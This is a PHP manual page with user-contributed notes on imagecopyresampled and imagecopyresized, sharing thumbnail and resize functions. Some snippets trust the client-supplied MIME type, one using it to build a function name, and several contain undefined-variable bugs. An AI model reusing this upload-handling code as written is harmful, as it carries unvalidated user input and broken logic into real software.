$img->save_img("baby_" . $src);

// Finalize
$img->clear_cache();

?>
crash 12-Aug-2008 06:49
The suggestion of converting a gif to a png to retain transparency was useful. However the steps used to maintain the transparency work for a gif as well, so the conversion step is not necessary. Just do everything the same, and save as a gif anyway. i.e.

<?php
$g_iw is new image width
$g_ih is new image height

$img_src=imagecreatefromgif($g_srcfile);
$img_dst=imagecreatetruecolor($g_iw,$g_ih);

//preserve alpha
imagecolortransparent($img_dst, imagecolorallocate($img_dst, 0, 0, 0));
imagealphablending($img_dst, false);
imagesavealpha($img_dst, true);
imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $g_iw, $g_ih, $g_is[0], $g_is[1]);

imagegif($img_dst, $g_dstfile);
imagedestroy($img_dst);
?>
swizec at swizec dot com 17-Jul-2008 02:20
Wrote a function for sanitising user uploaded images. It saves the native image in size roughly 800x600 so it still fits on most screens when opened, makes a desired size thumbnail and turns all images into high quality jpegs for smaller bandwidth use.

Thumbnails are made in a similar way a designer would make them in photoshop, first resize the most troublesome dimension to desired size, then crop the rest out so the image retains proportions and most of it ends up in the thumbnail.

<?php

// $image is $_FILES[ <image name> ]
// $imageId is the id used in a database or wherever for this image
// $thumbWidth and $thumbHeight are desired dimensions for the thumbnail
function processImage( $image, $imageId, $thumbWidth, $thumbHeight )
{
    $type = $image[ 'type' ];
    $galleryPath = 'images/collection/';

    if ( strpos( $type, 'image/' ) === FALSE )
    { // not an image
        return FALSE;
    }
    $type = str_replace( 'image/', '', $type );
    $createFunc = 'imagecreatefrom' . $type;

    $im = $createFunc( $image[ 'tmp_name' ] );

    $size = getimagesize( $image[ 'tmp_name' ] );

    $w = $size[ 0 ];
    $h = $size[ 1 ];
    if ( $w > 800 || $h > 600 )
    { // we make sure the image isn't too huge
        if ( $w > 800 )
        {
            $nw = 800;
            $nh = ceil( $nw*($h/$w) );
        }elseif( $h > 600 )
        {
            $nh = 600;
            $nw = ceil( $nh*($w/$h) );
        }

        $im2 = imagecreatetruecolor( $nw, $nh );
        imagecopyresampled( $im2, $im, 0, 0, 0, 0, $nw, $nh, $w, $h );
        imagedestroy( $im );

        $im = $im2;
        $w = $nw;
        $h = $nh;
    }

    // create thumbnail
    $tw = $thumbWidth;
    $th = $thumbHeight;
    $imT = imagecreatetruecolor( $tw, $th );

    if ( $tw/$th > $th/$tw )
    { // wider
        $tmph = $h*($tw/$w);
        $temp = imagecreatetruecolor( $tw, $tmph );
        imagecopyresampled( $temp, $im, 0, 0, 0, 0, $tw, $tmph, $w, $h ); // resize to width
        imagecopyresampled( $imT, $temp, 0, 0, 0, $tmph/2-$th/2, $tw, $th, $tw, $th ); // crop
        imagedestroy( $temp );
    }else
    { // taller
        $tmpw = $w*($th/$h );
        $imT = imagecreatetruecolor( $tmpw, $th );
        imagecopyresampled( $imT, $im, 0, 0, 0, 0, $tmpw, $h, $w, $h ); // resize to height
        imagecopyresampled( $imT, $temp, 0, 0, $tmpw/2-$tw/2, 0, $tw, $th, $tw, $th ); // crop
        imagedestroy( $temp );
    }

    // save the image
    imagejpeg( $im, $galleryPath . $imgid . '.jpg', 100 );
    imagejpeg( $imT, $galleryPath . $imgid . '_thumb.jpg', 100 );
}

?>
mattura gmail com 19-May-2008 10:53
Here's a little function I wrote to resize images to a maximum dimension - based on what facebook does in the galleries. You put in a source, destination and a maximum dimension in pixels (eg 300), and for example if the image is long and thin, the longest edge will be 300px, yet the image retains proportions. A square image will become 300x300, a 6x4 (landscape) will become 300x200, a 4x6 (portrait) - 200x300 etc.
It works on jpg images, but other formats can easily be added.
<?php
function createThumb($spath, $dpath, $maxd) {
 $src=@imagecreatefromjpeg($spath);
 if (!$src) {return false;} else {
  $srcw=imagesx($src);
  $srch=imagesy($src);
  if ($srcw<$srch) {$height=$maxd;$width=floor($srcw*$height/$srch);}
  else {$width=$maxd;$height=floor($srch*$width/$srcw);}
  if ($width>$srcw && $height>$srch) {$width=$srcw;$height=$srch;}  //if image is actually smaller than you want, leave small (remove this line to resize anyway)
  $thumb=imagecreatetruecolor($width, $height);
  if ($height<100) {imagecopyresized($thumb, $src, 0, 0, 0, 0, $width, $height, imagesx($src), imagesy($src));}
  else {imagecopyresampled($thumb, $src, 0, 0, 0, 0, $width, $height, imagesx($src), imagesy($src));}
  imagejpeg($thumb, $dpath);
  return true;
 }
}
?>
bobbyboyojones at hotmail dot com 18-Mar-2008 11:41
I hated that enlarging an image resulted in giant pixels rather than a smoother look, so I wrote this function.  It takes longer, but gives a much nicer look.

<?php

function imagecopyresampledSMOOTH(&$dst_img, &$src_img, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h, $mult=1.25){
    // don't use a $mult that's too close to an int or this function won't make much of a difference

    $tgt_w = round($src_w * $mult);
    $tgt_h = round($src_h * $mult);

    // using $mult <= 1 will make the current step w/h smaller (or the same), don't allow this, always resize by at least 1 pixel larger
    if($tgt_w <= $src_w){ $tgt_w += 1; }
    if($tgt_h <= $src_h){ $tgt_h += 1; }

    // if the current step w/h is larger than the final height, adjust it back to the final size
    // this check also makes it so that if we are doing a resize to smaller image, it happens in one step (since that's already smooth)
    if($tgt_w > $dst_w){ $tgt_w = $dst_w; }
    if($tgt_h > $dst_h){ $tgt_h = $dst_h; }

    $tmpImg = imagecreatetruecolor($tgt_w, $tgt_h);

    imagecopyresampled($tmpImg, $src_img, 0, 0, $src_x, $src_y, $tgt_w, $tgt_h, $src_w, $src_h);
    imagecopy($dst_img, $tmpImg, $dst_x, $dst_y, 0, 0, $tgt_w, $tgt_h);
    imagedestroy($tmpImg);

    // as long as the final w/h has not been reached, reep on resizing
    if($tgt_w < $dst_w OR $tgt_h < $dst_h){
        imagecopyresampledSMOOTH($dst_img, $dst_img, $dst_x, $dst_y, $dst_x, $dst_y, $dst_w, $dst_h, $tgt_w, $tgt_h, $mult);
    }
}

?>
arnar at netvistun dot is 16-Mar-2008 10:58
A small thumb script. Lets you specify max height and width. The thumb will always be of a rectangular shape while the image itself retains it's proportions. Very clean.

<?php
// The file
$filename = 'a.jpg';

// Set a maximum height and width
$width = 80;
$height = 80;

$thumbsize = 80;

// Content type
header('Content-type: image/jpeg');

// Get new dimensions
list($width_orig, $height_orig) = getimagesize($filename);

$ratio_orig = $width_orig/$height_orig;

if ($width/$height > $ratio_orig) {
   $width = $height*$ratio_orig;
} else {
   $height = $width/$ratio_orig;
}

// Resample
$image_p = imagecreatetruecolor($thumbsize, $thumbsize);
$image = imagecreatefromjpeg($filename);
imagecopyresampled($image_p, $image, -($width/2) + ($thumbsize/2), -($height/2) + ($thumbsize/2), 0, 0, $width, $height, $width_orig, $height_orig);

// Output
imagejpeg($image_p, null, 100);
?>
rayg at daylongraphics dot com 07-Mar-2008 02:45
Here's a simple function to resample one JPEG imagefile to another while keeping aspect ratio of the source within the destination's dimensions. You can also tune the allowable distortion if you end up making too many thumbnails with thin blank areas around them. Should work when enlarging images too. Function returns true if it worked, false if not.

function resample_picfile($src, $dst, $w, $h)
{
    // If distortion stretching is within the range below,
    // then let image be distorted.
    $lowend = 0.8;
    $highend = 1.25;

    $src_img = imagecreatefromjpeg($src);
    if($src_img)
    {
        $dst_img = ImageCreateTrueColor($w, $h);
        /* if you don't want aspect-preserved images
to have a black bkgnd, fill $dst_img with the color of your choice here.
        */

        if($dst_img)
        {
            $src_w = imageSX($src_img);
            $src_h = imageSY($src_img);

            $scaleX = (float)$w / $src_w;
            $scaleY = (float)$h / $src_h;
            $scale = min($scaleX, $scaleY);

            $dstW = $w;
            $dstH = $h;
            $dstX = $dstY = 0;

            $scaleR = $scaleX / $scaleY;
            if($scaleR < $lowend || $scaleR > $highend)
            {
                $dstW = (int)($scale * $src_w + 0.5);
                $dstH = (int)($scale * $src_h + 0.5);

                // Keep pic centered in frame.
                $dstX = (int)(0.5 * ($w - $dstW));
                $dstY = (int)(0.5 * ($h - $dstH));
            }

            imagecopyresampled(
                $dst_img, $src_img, $dstX, $dstY, 0, 0,
                $dstW, $dstH, $src_w, $src_h);
            imagejpeg($dst_img, $dst);
            imagedestroy($dst_img);
        }
        imagedestroy($src_img);
        return file_exists($dst);
    }
    return false;
}
wm at violet dot bg 20-Feb-2008 01:16
This is a fixed version of ImageCopyResampledBicubic posted by liviu.malaescu
The original version wasn't respecting src_x & src_y args

<?php
    function ImageCopyResampledBicubic(&$dst_image, &$src_image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h)  {
        // we should first cut the piece we are interested in from the source
        $src_img = ImageCreateTrueColor($src_w, $src_h);
        imagecopy($src_img, $src_image, 0, 0, $src_x, $src_y, $src_w, $src_h);

        // this one is used as temporary image
        $dst_img = ImageCreateTrueColor($dst_w, $dst_h);

        ImagePaletteCopy($dst_img, $src_img);
        $rX = $src_w / $dst_w;
        $rY = $src_h / $dst_h;
        $w = 0;
        for ($y = 0; $y < $dst_h; $y++)  {
            $ow = $w; $w = round(($y + 1) * $rY);
            $t = 0;
            for ($x = 0; $x < $dst_w; $x++)  {
                $r = $g = $b = 0; $a = 0;
                $ot = $t; $t = round(($x + 1) * $rX);
                for ($u = 0; $u < ($w - $ow); $u++)  {
                    for ($p = 0; $p < ($t - $ot); $p++)  {
                        $c = ImageColorsForIndex($src_img, ImageColorAt($src_img, $ot + $p, $ow + $u));
                        $r += $c['red'];
                        $g += $c['green'];
                        $b += $c['blue'];
                        $a++;
                    }
                }
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img, $r / $a, $g / $a, $b / $a));
            }
        }

        // apply the temp image over the returned image and use the destination x,y coordinates
        imagecopy($dst_image, $dst_img, $dst_x, $dst_y, 0, 0, $dst_w, $dst_h);

        // we should return true since ImageCopyResampled/ImageCopyResized do it
        return true;
    }
?>
Michael Shepanski 14-Jan-2008 10:09
Here is a function I thought I would share that will resample and copy an image with rounded corners.

<?php
/** ------------------------------------------------------------
 * Copy and resample an image with rounded corners.
 * ----------------------------------------------------------- */
function imageRoundedCopyResampled(&$dstimg, &$srcimg, $dstx, $dsty, $srcx,
                                   $srcy, $dstw, $dsth, $srcw, $srch, $radius) {
    # Resize the Source Image
    $srcResized = imagecreatetruecolor($dstw, $dsth);
    imagecopyresampled($srcResized, $srcimg, 0, 0, $srcx, $srcy,
                       $dstw, $dsth, $srcw, $srch);
    # Copy the Body without corners
    imagecopy($dstimg, $srcResized, $dstx+$radius, $dsty,
              $radius, 0, $dstw-($radius*2), $dsth);
    imagecopy($dstimg, $srcResized, $dstx, $dsty+$radius,
              0, $radius, $dstw, $dsth-($radius*2));
    # Create a list of iterations; array(array(X1, X2, CenterX, CenterY), ...)
    # Iterations in order are: Top-Left, Top-Right, Bottom-Left, Bottom-Right
    $iterations = array(
        array(0, 0, $radius, $radius),
        array($dstw-$radius, 0, $dstw-$radius, $radius),
        array(0, $dsth-$radius, $radius, $dsth-$radius),
        array($dstw-$radius, $dsth-$radius, $dstw-$radius, $dsth-$radius)
    );
    # Loop through each corner 'iteration'
    foreach($iterations as $iteration) {
        list($x1,$y1,$cx,$cy) = $iteration;
        for ($y=$y1; $y<=$y1+$radius; $y++) {
            for ($x=$x1; $x<=$x1+$radius; $x++) {
                # If length (X,Y)->(CX,CY) is less then radius draw the point
                $length = sqrt(pow(($cx - $x), 2) + pow(($cy - $y), 2));
                if ($length < $radius) {
                    imagecopy($dstimg, $srcResized, $x+$dstx, $y+$dsty,
                              $x, $y, 1, 1);
                }
            }
        }
    }
}
?>
matt1walsh DESPAMMER gmail dot com 19-Nov-2007 07:15
None of the stuff I've seen for resizing transparent GIFs works consistently and yields a good image. The hack I thought of is silly, but it works okay -- convert GIF to PNG. This worked for me.

$g_iw is new image width
$g_ih is new image height

$img_src=imagecreatefromgif($g_srcfile);
$img_dst=imagecreatetruecolor($g_iw,$g_ih);

//preserve alpha
imagecolortransparent($img_dst, imagecolorallocate($img_dst, 0, 0, 0));
imagealphablending($img_dst, false);
imagesavealpha($img_dst, true);
imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $g_iw, $g_ih, $g_is[0], $g_is[1]);

imagepng($img_dst, $g_dstfile);
imagedestroy($img_dst);
Dave McCourt 12-Nov-2007 05:32
This function is taken from lots of web sources so thanks to all for posting. It creates square or landscape thumbnails from .jpgs  from either portait or landscape original images. I decide in advance which way I want the thumbs to display for consistency. I usually sharpen the images as well post-upload, to save on server resources. I can post this code if anyone wants it. I hope this helps someone...

    # create thumbnails from jpgs
    # usage:
    # create_jpgthumb(uploaded file, final file (with path), thumb height, thumb width, jpg quality, scale thumb (true) or fixed size (false);
    function create_jpgthumb($original, $thumbnail, $max_width, $max_height, $quality, $scale = true) {

        list ($src_width, $src_height, $type, $w) = getimagesize($original);

        if (!$srcImage = @imagecreatefromjpeg($original)) {
            return false;
        }

        # image resizes to natural height and width
        if ($scale == true) {

            if ($src_width > $src_height ) {
                $thumb_width = $max_width;
                $thumb_height = floor($src_height * ($max_width / $src_width));
            } else if ($src_width < $src_height ) {
                $thumb_height = $max_height;
                $thumb_width = floor($src_width * ($max_height / $src_height));
            } else {
                $thumb_width = $max_height;
                $thumb_height = $max_height;
            }

            if (!@$destImage = imagecreatetruecolor($thumb_width, $thumb_height)) {
                return false;
            }

            if (!@imagecopyresampled($destImage, $srcImage, 0, 0, 0, 0, $thumb_width, $thumb_height, $src_width, $src_height)) {
                return false;
            }

        # image is fixed to supplied width and height and cropped
        } else if ($scale == false) {

            $ratio = $max_width / $max_height;

            # thumbnail is landscape
             if ($ratio > 1) {

                # uploaded pic is landscape
                if ($src_width > $src_height) {

                    $thumb_width = $max_width;
                    $thumb_height = ceil($max_width * ($src_height / $src_width));

                    if ($thumb_height > $max_width) {
                        $thumb_height = $max_width;
                        $thumb_width = ceil($max_width * ($src_width / $src_height));
                    }

                # uploaded pic is portrait
                } else {

                    $thumb_height = $max_width;
                    $thumb_width = ceil($max_width * ($src_height / $src_width));

                    if ($thumb_width > $max_width) {
                        $thumb_width = $max_width;
                        $thumb_height = ceil($max_width * ($src_height / $src_width));
                    }

                    $off_h = ($src_height - $src_width) / 2;

                }

                if (!@$destImage = imagecreatetruecolor($max_width, $max_height)) {
                    return false;
                }

                if (!@imagecopyresampled($destImage, $srcImage, 0, 0, 0, $off_h, $thumb_width, $thumb_height, $src_width, $src_height)) {
                    return false;
                }

            # thumbnail is square
             } else {

                if ($src_width > $src_height) {
                    $off_w = ($src_width - $src_height) / 2;
                    $off_h = 0;
                    $src_width = $src_height;
                } else if ($src_height > $src_width) {
                    $off_w = 0;
                    $off_h = ($src_height - $src_width) / 2;
                    $src_height = $src_width;
                } else {
                    $off_w = 0;
                    $off_h = 0;
                }

                if (!@$destImage = imagecreatetruecolor($max_width, $max_height)) {
                    return false;
                }

                if (!@imagecopyresampled($destImage, $srcImage, 0, 0, $off_w, $off_h, $max_width, $max_height, $src_width, $src_height)) {
                    return false;
                }

             }

        }

        @imagedestroy($srcImage);

        if (!@imageantialias($destImage, true)) {
            return false;
        }

        if (!@imagejpeg($destImage, $thumbnail, $quality)) {
            return false;
        }

        @imagedestroy($destImage);

        return true;
    }
tim dot daldini at gmail dot be 03-Oct-2007 08:57
Tim's function is a whole lot faster, however, the quality setting doesnt seem right since resizing very big images doesnt affect quality of the resulting thumbnails that much on quality 1 for example.

Anyone has figured out how to use a more correct quality setting by comparing image surfaces (for example) basing on Tim's function?

images with a total of 10Megapixels that contain 5Megapixels when resized should use the same quality setting like images that contain 1Megapixels but only 0.5 when resized.

Not hard to understand, but the memoryload would be a lot lower if the function could decide to use a setting of quality 1 automatically when resizing big images to small thumbnails. This would be handy especially when using the function for images of various sizes in the same application.
eblejr AT phrebh DOT com 05-Sep-2007 11:38
Tim's code is fast, but if you're trying to put resampled images anywhere but in the top-left corner, it doesn't work.
rich at corephp dot co dot uk 20-May-2007 03:05
Be wary of this function when resizing images to make them *larger* than the original due to the memory consumption rate. For example a 200KB JPEG file (1024x768) will take up 4MB of memory when loaded, but when resampled to twice the the size the memory use jumps to 20.1MB. imagecopyresized does the same. Allow approx. 5 bytes per *pixel* for memory allowance when dealing with true colour images.
areddan at silverarm dot ie 27-Jan-2006 12:40
<?php
// The file
$filein = ''; // File in
$fileout = 'ttt.gif'; // Fileout - optional

$imagethumbsize_w = 100; // thumbnail size (area cropped in middle of image)
$imagethumbsize_h = 75; // thumbnail size (area cropped in middle of image)
resize_then_crop( $filein,$fileout,$imagethumbsize_w,
$imagethumbsize_h,/*rgb*/"255","255","255");

//Author Alan Reddan Silverarm Solutions
//Date 27/01/2005
//Function that works well with images.
//It takes the image and reduces its size to best fit. i.e If you have an image
//that is 200 X 100 and you want a thumbnail of 75 X 50,
//it first resizes the image to 100 X 50
//and then takes out a portion 75 X 50 from then center of the input image.
//So loads of image information is retained.
//The corollary also holds if your input image is 100 X 200
//it first resizes image to 75 X 150 and then takes out a
//portion 75 X 75 from the centre
// The advantage here is that function decides on whether
//resize is by width or height itself.
//it also decides whether to use the height or the width as the base start point
//in the case that athumbnail is rectangular

function resize_then_crop( $filein,$fileout,
$imagethumbsize_w,$imagethumbsize_h,$red,$green,$blue)
{

// Get new dimensions
list($width, $height) = getimagesize($filein);
$new_width = $width * $percent;
$new_height = $height * $percent;

   if(preg_match("/.jpg/i", "$filein"))
   {
       $format = 'image/jpeg';
   }
   if (preg_match("/.gif/i", "$filein"))
   {
       $format = 'image/gif';
   }
   if(preg_match("/.png/i", "$filein"))
   {
       $format = 'image/png';
   }

       switch($format)
       {
           case 'image/jpeg':
           $image = imagecreatefromjpeg($filein);
           break;
           case 'image/gif';
           $image = imagecreatefromgif($filein);
           break;
           case 'image/png':
           $image = imagecreatefrompng($filein);
           break;
       }

$width = $imagethumbsize_w ;
$height = $imagethumbsize_h ;
list($width_orig, $height_orig) = getimagesize($filein);

if ($width_orig < $height_orig) {
  $height = ($imagethumbsize_w / $width_orig) * $height_orig;
} else {
    $width = ($imagethumbsize_h / $height_orig) * $width_orig;
}

if ($width < $imagethumbsize_w)
//if the width is smaller than supplied thumbnail size
{
$width = $imagethumbsize_w;
$height = ($imagethumbsize_w/ $width_orig) * $height_orig;;
}

if ($height < $imagethumbsize_h)
//if the height is smaller than supplied thumbnail size
{
$height = $imagethumbsize_h;
$width = ($imagethumbsize_h / $height_orig) * $width_orig;
}

$thumb = imagecreatetruecolor($width , $height);
$bgcolor = imagecolorallocate($thumb, $red, $green, $blue);
ImageFilledRectangle($thumb, 0, 0, $width, $height, $bgcolor);
imagealphablending($thumb, true);

imagecopyresampled($thumb, $image, 0, 0, 0, 0,
$width, $height, $width_orig, $height_orig);
$thumb2 = imagecreatetruecolor($imagethumbsize_w , $imagethumbsize_h);
// true color for best quality
$bgcolor = imagecolorallocate($thumb2, $red, $green, $blue);
ImageFilledRectangle($thumb2, 0, 0,
$imagethumbsize_w , $imagethumbsize_h , $white);
imagealphablending($thumb2, true);

$w1 =($width/2) - ($imagethumbsize_w/2);
$h1 = ($height/2) - ($imagethumbsize_h/2);

imagecopyresampled($thumb2, $thumb, 0,0, $w1, $h1,
$imagethumbsize_w , $imagethumbsize_h ,$imagethumbsize_w, $imagethumbsize_h);

// Output
//header('Content-type: image/gif');
//imagegif($thumb); //output to browser first image when testing

if ($fileout !="")imagegif($thumb2, $fileout); //write to file
header('Content-type: image/gif');
imagegif($thumb2); //output to browser
}
?>
04-Jul-2005 05:46
It should be noted that the imagecopyresampled() function is much more blurry than Photoshop CS's default bicubic funtion. And looks similar to a blury version of Photoshop's bilinear function. The documentation fails to note which algorithm is used in resampling.


Копирование и изменение размера части изображения

  • « imagecopyresampled
  • imagecreate »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Копирование и изменение размера части изображения

imagecopyresized

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecopyresized — Копирование и изменение размера части изображения

Описание

imagecopyresized(
GdImage $dst_image,
GdImage $src_image,
int $dst_x,
int $dst_y,
int $src_x,
int $src_y,
int $dst_width,
int $dst_height,
int $src_width,
int $src_height
): bool

imagecopyresized() копирует прямоугольный участок одного изображения на другое изображение. dst_image - результирующее изображение, src_image - идентификатор исходного изображения.

Другими словами, imagecopyresized() берет прямоугольный участок из src_image с шириной src_width и высотой src_height на координатах src_x,src_y и помещает его в прямоугольную область изображения dst_image с шириной dst_width и высотой dst_height на координатах dst_x,dst_y.

Если координаты, ширина или высота исходного и конечного изображений различны, копируемый фрагмент будет растянут или сжат. Координаты отсчитываются от левого верхнего угла изображения. Функцию можно использовать для наложения участков на то же изображение, с которого они скопированы (если dst_image имеет то же значение, что и src_image), но если участки будут пересекаться, результат непредсказуем.

Список параметров

dst_image

Ресурс целевого изображения.

src_image

Ресурс исходного изображения.

dst_x

x-координата результирующего изображения.

dst_y

y-координата результирующего изображения.

src_x

x-координата исходного изображения.

src_y

y-координата исходного изображения.

dst_width

Результирующая ширина.

dst_height

Результирующая высота.

src_width

Ширина исходного изображения.

src_height

Высота исходного изображения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | dst_image и src_image теперь ожидают экземпляр GdImage; ранее ожидался ресурс (resource).

Примеры

Пример #1 Изменение размера изображения

В этом примере размер изображения будет уменьшен в два раза.

<?php
// файл и новый размер
$filename = 'test.jpg';
$percent = 0.5;

// тип содержимого
header('Content-Type: image/jpeg');

// получение нового размера
list($width, $height) = getimagesize($filename);
$newwidth = $width * $percent;
$newheight = $height * $percent;

// загрузка
$thumb = imagecreatetruecolor($newwidth, $newheight);
$source = imagecreatefromjpeg($filename);

// изменение размера
imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);

// вывод
imagejpeg($thumb);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: Изменение размера изображения

Изображение будет выведено с уменьшенным размером. Если требуется получить изображение в лучшем качестве, используйте функцию imagecopyresampled().

Примечания

Замечание:

Существует проблема связанная с ограничениями палитровых изображений (255+1 цвет). Ресэмплирование или фильтрация изображения требует больше цветов, чем 255. Для расчёта нового пиксела и его цвета применяется некоторое приближение. В случае палитровых изображений мы пытаемся создать новый цвет, а если это не удаётся, мы выбираем ближайший (теоретически) вычисленный цвет. Это не всегда визуально ближайший цвет. Такой подход может давать в результате пустые (или визуально пустые) изображения. Для устранения этой проблемы, пожалуйста, используйте truecolor-изображения в качестве результирующих, создаваемые функцией imagecreatetruecolor().

Смотрите также

  • imagecopyresampled() - Копирование и изменение размера изображения с ресемплированием
  • imagescale() - Масштабировать изображение по заданной ширине и высоте
  • imagecrop() - Обрезать изображение до заданного прямоугольника

User Contributed Notes

eslindsey at gmail dot com 15-May-2017 08:32
I'm not sure why nworld3d at yahoo dot com's http://php.net/manual/en/function.imagecopyresized.php#69123 was downvoted--it was exactly what I was looking for to composite several alpha channel images, just like Photoshop. I needed to start with transparency and stack a few alpha images one after another on top of it. After mucking about with the built in PHP functions, I was worried that I would need to cheat by removing all the alpha and then using a transparent color in the end, but that would have looked different depending on what background I put it on top of. nworld3d at yahoo dot's comment saved me from having to go that route, and gets a +1 from me.
jack at computerrageprevention dot ca 19-Apr-2013 06:43
There are many user notes here that deal with creating a thumbnail, but I wrote a function that created a thumbnail of an image as it gets uploaded.  It is simply a combination of a file uploader with a thumbnail maker, but it is very simple to use now.

Following is an index.php file that contains the upload form, the function, and an example of how to use the function. The last two values in the 'thumb' function are for the width and height limits for the resulting thumbnail.  No matter what size the original image, the thumbnail will always fit within the dimensions specified.

<?php

if ($_POST[formname] =="upload")
{
 if ($_FILES)
 {
  foreach ($_FILES as $key => $value)
  {
   $m = thumb($value, realpath(dirname(__FILE__)) . "/" . "image_1", realpath(dirname(__FILE__)) . "/" . "thumb_1", 150, 150);

   // display any messages, whether success or failure
   if ($m) { foreach($m as $text) { print "$text<br>"; } }
  }
 }
}

function thumb($file, $bigname, $thumbname, $maxwidth, $maxheight)
{
 if (is_uploaded_file($file[tmp_name]))
 {
  // determine the image type
  if ($file[type] == "image/jpeg") { $ext = ".jpg"; }
  if ($file[type] == "image/png") { $ext = ".png"; }
  if ($file[type] == "image/gif") { $ext = ".gif"; }

  $newfile = $bigname . $ext;

  if (move_uploaded_file($file[tmp_name], $newfile))
  {
   $message[] = "Upload complete";

   // get old image size and convert to a maximum width/height combo
   $size = getimagesize($newfile);

   // only do the conversion if the width is greater than zero, otherwise there could be a division by zero error
   if ($size[1] != 0)
   {

    // Calculate the thumbnail's width an height, based on the max sized allowed and the original's dimensions
    if ($size[0]/$size[1] > $maxwidth/$maxheight)
    { $newwidth = $maxwidth; $newheight = floor(($size[1] * $maxwidth) / $size[0]); }
     else
    { $newheight = $maxheight; $newwidth = ceil(($size[0] * $maxheight) / $size[1]); }

    // Create the thumbnail
    $i = imagecreate($newwidth, $newheight);

    if ($ext == ".jpg") { $j = imagecreatefromjpeg($newfile); }
    if ($ext == ".png") { $j = imagecreatefrompng($newfile); }
    if ($ext == ".gif") { $j = imagecreatefromgif($newfile); }

    if ($j)
    {
     // Copy the original image and paste into the new image, resized
     if (imagecopyresized($i, $j, 0, 0, 0, 0, $newwidth, $newheight, $size[0], $size[1]))
     {
      if (imagejpeg($i, $thumbname . $ext, 100))
      {
       $message[] = "Image thumb created successfully";
      } else {
       $message[] = "Image thumb would not export";
      }
     } else {
      $message[] = "Image resize failure";
     }
    } else {
     $message[] = "Image type not recognized";
    }
   } else { // size[1] != 0
    $message[] = "Image size invalid";
   }
  } // move_uploaded_file
 } // is_uploaded_file

 return $message;
}

print "
<html>
<head>
<title>Image upload and create Thumbnail</title>
</head>

<body>

<form action='index.php' method='POST' enctype='multipart/form-data'>
<input type='hidden' name='formname' value='upload'>
<input type='file' name='fileupload'>
<input type='submit' value='Upload'>
</form>

</body>
</html>
";

?>

NOTE: This does not deal with adjusting palettes or transparent colors, but that can be added if you need it.
licson0729 at gmail dot com 17-Nov-2011 03:09
I couldn't find any script that resize an image and give border to it. So I made one myself. Hope that can help you.

<?php
function imagecopyresizedwithborder(&$src,$width,$height,$borderthickess,$bordercolor=NULL)
{
    list($width_orig, $height_orig) = array(imagesx($src),imagesy($src));

    if ($width && ($width_orig < $height_orig))
    {
        $width = ($height / $height_orig) * $width_orig;
    }
    else
    {
        $height = ($width / $width_orig) * $height_orig;
    }

    $dst = imagecreatetruecolor($width+2*$borderthickess,$height+2*$borderthickess);
    imagecolortransparent($dst,imagecolorallocate($dst,0,0,0));
    imagealphablending($dst,false);
    imagesavealpha($dst,true);
    imagefill($dst,0,0,(isset($bordercolor) ? $bordercolor : imagecolorallocate($dst,255,255,255)));
    imagecopyresampled($dst,$src,$borderthickess,$borderthickess,0,0,$width,$height,imagesx($src),imagesy($src));
    return $dst;
}

?>
email at vladislav dot net 22-Jun-2011 03:30
I didn't find here before any script giving both GIF and PNG transparent images correct, so I offer you mine.
Here is the code for 'image.php' script to generate a resized or original sized images of any type (JPEG, GIF, PNG) with respect to possible transparency of GIF and PNG.
The following script can be used in HTML tag IMG (to display an image marked in database with ID equal to 1 and resized to max 100px) like this:
<img src="image.php?id=1&size=100" />.

<?php
/* *************************
 * Script by A. Vladislav I.
 * ************************* */
$id = $_GET['id'];
$size = $_GET['size'];
if(!empty($id))
{
/* Here you may take the source image path from where you want: current direcory, databse etc.
 I used the $_GET['id'] for giving the script an ID of the image in database, where its real name is stored.
 I consider later the $f variable responsible to store file name and $type variable responsible to store mime type of the image. You may use function GetImageSize() to discover the mime type.
 So don't forget to set the */
  $f = /*...*/ ;
/* and */
  $type = /*...*/ ;
/* ... */
}
$imgFunc = '';
switch($type)
{
    case 'image/gif':
        $img = ImageCreateFromGIF($f);
        $imgFunc = 'ImageGIF';
        $transparent_index = ImageColorTransparent($img);
        if($transparent_index!=(-1)) $transparent_color = ImageColorsForIndex($img,$transparent_index);
        break;
    case 'image/jpeg':
        $img = ImageCreateFromJPEG($f);
        $imgFunc = 'ImageJPEG';
        break;
    case 'image/png':
        $img = ImageCreateFromPNG($f);
        ImageAlphaBlending($img,true);
        ImageSaveAlpha($img,true);
        $imgFunc = 'ImagePNG';
        break;
    default:
        die("ERROR - no image found");
        break;
}
header("Content-Type: ".$type);
if(!empty($size))
{

    list($w,$h) = GetImageSize($f);
    if( $w==0 or $h==0 ) die("ERROR - zero image size");
    $percent = $size / (($w>$h)?$w:$h);
    if($percent>0 and $percent<1)
    {
        $nw = intval($w*$percent);
        $nh = intval($h*$percent);
        $img_resized = ImageCreateTrueColor($nw,$nh);
        if($type=='image/png')
        {
            ImageAlphaBlending($img_resized,false);
            ImageSaveAlpha($img_resized,true);
        }
        if(!empty($transparent_color))
        {
            $transparent_new = ImageColorAllocate($img_resized,$transparent_color['red'],$transparent_color['green'],$transparent_color['blue']);
            $transparent_new_index = ImageColorTransparent($img_resized,$transparent_new);
            ImageFill($img_resized, 0,0, $transparent_new_index);
        }
        if(ImageCopyResized($img_resized,$img, 0,0,0,0, $nw,$nh, $w,$h ))
        {
            ImageDestroy($img);
            $img = $img_resized;

        }
    }
}
$imgFunc($img);
ImageDestroy($img);
?>

P.S.
The script can be written better (optimized etc.), but I hope you can do it by yourself.
kvslaap 02-May-2009 07:17
this is a script which loops trough a directory that is currently set to "files" and resizes all images with respecting the image ratio

<?php
//use this line if you get the error message of using too much memory (strip '//')
//ini_set ( "memory_limit", "48M");

$target_width = 800;
$target_height = 600;

if (ob_get_level() == 0) ob_start();
if ($handle = opendir('files/')) {
  while (false !== ($file = readdir($handle))) {
    if ($file != "." && $file != "..") {
      $destination_path = './files/';
      $target_path = $destination_path . basename($file);

      $extension = pathinfo($target_path);
      $allowed_ext = "jpg, gif, png, bmp, jpeg, JPG";
      $extension = $extension[extension];
      $allowed_paths = explode(", ", $allowed_ext);
      $ok = 0;
